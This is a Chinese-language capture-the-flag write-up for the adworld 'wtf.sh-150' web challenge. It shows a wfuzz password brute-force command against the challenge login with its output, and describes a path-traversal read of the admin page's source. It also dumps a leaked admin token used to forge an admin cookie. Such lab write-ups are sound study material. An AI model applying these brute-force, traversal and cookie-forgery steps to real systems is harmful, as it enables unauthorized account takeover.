

# wtf.sh-150-adworld

首先是个登录和注册窗口，看到有一堆人留言

尝试目录爆破，无果

登录admin提示被注册，构造Wfuzz爆破密钥，无果

```
wfuzz -c -z file,/home/kali/fuzzDicts/passwordDict/top3000.txt --hs "Try again" -d "username=admin&password=FUZZ" http://61.147.171.105:59727/login.wtf #其中hs是过滤字符串，这样会显示出爆破成功的
```

```
(kali@kali)~$ wfuzz -c -z file,/home/kali/fuzzDicts/passwordDict/top3000.txt --hs "Try again" -d "username=admin&password=FUZZ" http://61.147.171.105:59727/login.wtf
*****
* Wfuzz 3.1.0 - The Web Fuzzer
*****
Target: http://61.147.171.105:59727/login.wtf
Total requests: 3000

ID      Response  Lines  Word  Chars  Payload
-----
1      404 Not Found  1      404    10      /css/std.css

Total time: 0
Processed Requests: 3000
Filtered Requests: 3000
Requests/sec.: 0
```

随便点击几个目录，发现了url的跳动

首先尝试有没有目录遍历漏洞，还真有，查看感兴趣的admin，找到了flag获得方式

```
# vim: ft=wtf
$ source user_functions.sh

<html>
<head>
  <link rel="stylesheet" type="text/css" href="/css/std.css">
</head>

$ if contains 'user' ${!URL_PARAMS[@]} && file_exists
"users/${URL_PARAMS['user']}":
$ then
  # Extract username from the file
  $ local username=$(head -n 1 users/${URL_PARAMS['user']});

  # Display the user's posts
  $ echo "<h3>${username}'s posts:</h3>";
  $ echo "<ol>";

  # Get user's posts and iterate over them
  $ get_users_posts "${username}" | while read -r post; do
    # Extract post slug from the post file
    $ post_slug=$(awk -F/ '{print $2 " #" $3}' <<< "${post}");
```

```

# Display each post with link to the specific post
$ echo "<li><a href=\"\/post.wtf?post=${post_slug}\">${nth_line 2 "${post}"
| htmlentities}</a></li>";
$ done

$ echo "</ol>";

# If the logged-in user is admin and the viewed user's name is 'admin', get
flag
$ if is_logged_in && [[ "${COOKIES['USERNAME']}" = 'admin' ]] && [[
${username} = 'admin' ]]
$ then
$ get_flag1
$ fi
$ fi
</html>

```

枚举目录，获得admin的cookie

```
name=submit>Submit</button> </form> </html>
```

Posted by `#!/usr/bin/env bash`

```

cp -R /opt/wtf.sh /tmp/wtf_runtime; # protect our stuff chmod -R 555 /tmp/wtf_runtime/wtf.sh/*; chmod -R 555
/tmp/wtf_runtime/wtf.sh/.sh; chmod 777 /tmp/wtf_runtime/wtf.sh/; # set all dirs we could want to write into to be owned by
www # (We don't do whole webroot since we want the people to be able to create # files in webroot, but not overwrite existing
files) chmod -R 777 /tmp/wtf_runtime/wtf.sh/posts/; chown -R www:www /tmp/wtf_runtime/wtf.sh/posts/; chmod -R 777
/tmp/wtf_runtime/wtf.sh/users/; chown -R www:www /tmp/wtf_runtime/wtf.sh/users/; chmod -R 777
/tmp/wtf_runtime/wtf.sh/users_lookup/; chown -R www:www /tmp/wtf_runtime/wtf.sh/users_lookup/; # let's get this party
started! su www -c "/tmp/wtf_runtime/wtf.sh/wtf.sh 8000";

```

Posted by `#!/usr/bin/env bash`

```

ae475a820a6b5ade1d2e8b427b59d53d15f1f715
uYpiNNf/x0/0xnfqmsuokFetRlQDwnBs2T6LdHDRWH5p3x4bL4sxn0RMg17KJhAmTMyr8Sem++f1dP0s
cw7g3w==

```

得到admin的token，然后直接伪造cookie登录

然而这只是得到了flag的一部分，还有一截？